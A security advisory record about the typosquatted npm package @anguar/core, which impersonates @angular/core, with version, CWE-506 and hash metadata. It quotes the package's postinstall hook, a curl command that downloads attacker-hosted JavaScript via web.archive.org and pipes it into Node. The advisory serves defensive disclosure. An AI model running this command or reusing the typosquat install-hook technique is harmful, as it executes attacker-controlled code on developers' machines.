Malicious code in @anguar/core (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (428f991afc1ada001d59a546b8290c039dc16c98f6e497346acd87b8c08034eb) Package @anguar/core impersonates @angular/core: scope name differs by one letter and package.json name, description, author, and repository metadata are copied from the real @angular/core. The package.json declares a postinstall lifecycle hook that runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, fetching JavaScript from a gitflic.ru path under the user `hellscripter` (proxied through web.archive.org) and piping it into Node. The remote source is unpinned, unverified, hosted on infrastructure unrelated to the Angular project, and under full control of a third party. Any developer who mistypes the Angular scope and runs `npm install` will execute arbitrary attacker-controlled code on their machine.
MAL-2026-17535
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:MAL-2026-17535
@anguar/core
Source reference: /affected/0/package/name
- Affected versions
- 22.2.1
Source reference:
/affected/0/versions - Fixed versions
- Not stated in this record
- Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"package": {
"name": "@anguar/core",
"purl": "pkg:npm/%40anguar/core",
"ecosystem": "npm"
},
"versions": [
"22.2.1"
],
"database_specific": {
"cwes": [
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
}
],
"source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@anguar/core/MAL-2026-17535.json",
"indicators": {
"evidence_files": [
{
"path": "package.json",
"tlsh": "fd513624e4f48d6323de6294dd2a4943b138495b5c38bd68b3dd009c8f0e61f21beb9a",
"sha256": "c0f7136db131c2a25bcaabc6362c35f1c8059ebb2991dab8d6437ce85d6b2bc9"
}
],
"package_integrity": [
{
"hashes": {
"sha1": "7bf1a0f340f5ecd96d4558e0254168987a6cf094",
"sha512_sri": "sha512-jNO4ZmAtElQjQjT+jhHnxb31XqC/imxCId4L/Ki4UFwdrUyOQyEU8uFv9l0Unn9EIfz7GfDUtQqMji84khH8Dw=="
},
"filename": "core-22.2.1.tgz"
}
]
}
}
}
]Publisher severity
No explicit severity was provided.
- Event
- #83624 · Revision 1
- Added to Heist Feed
- Publisher date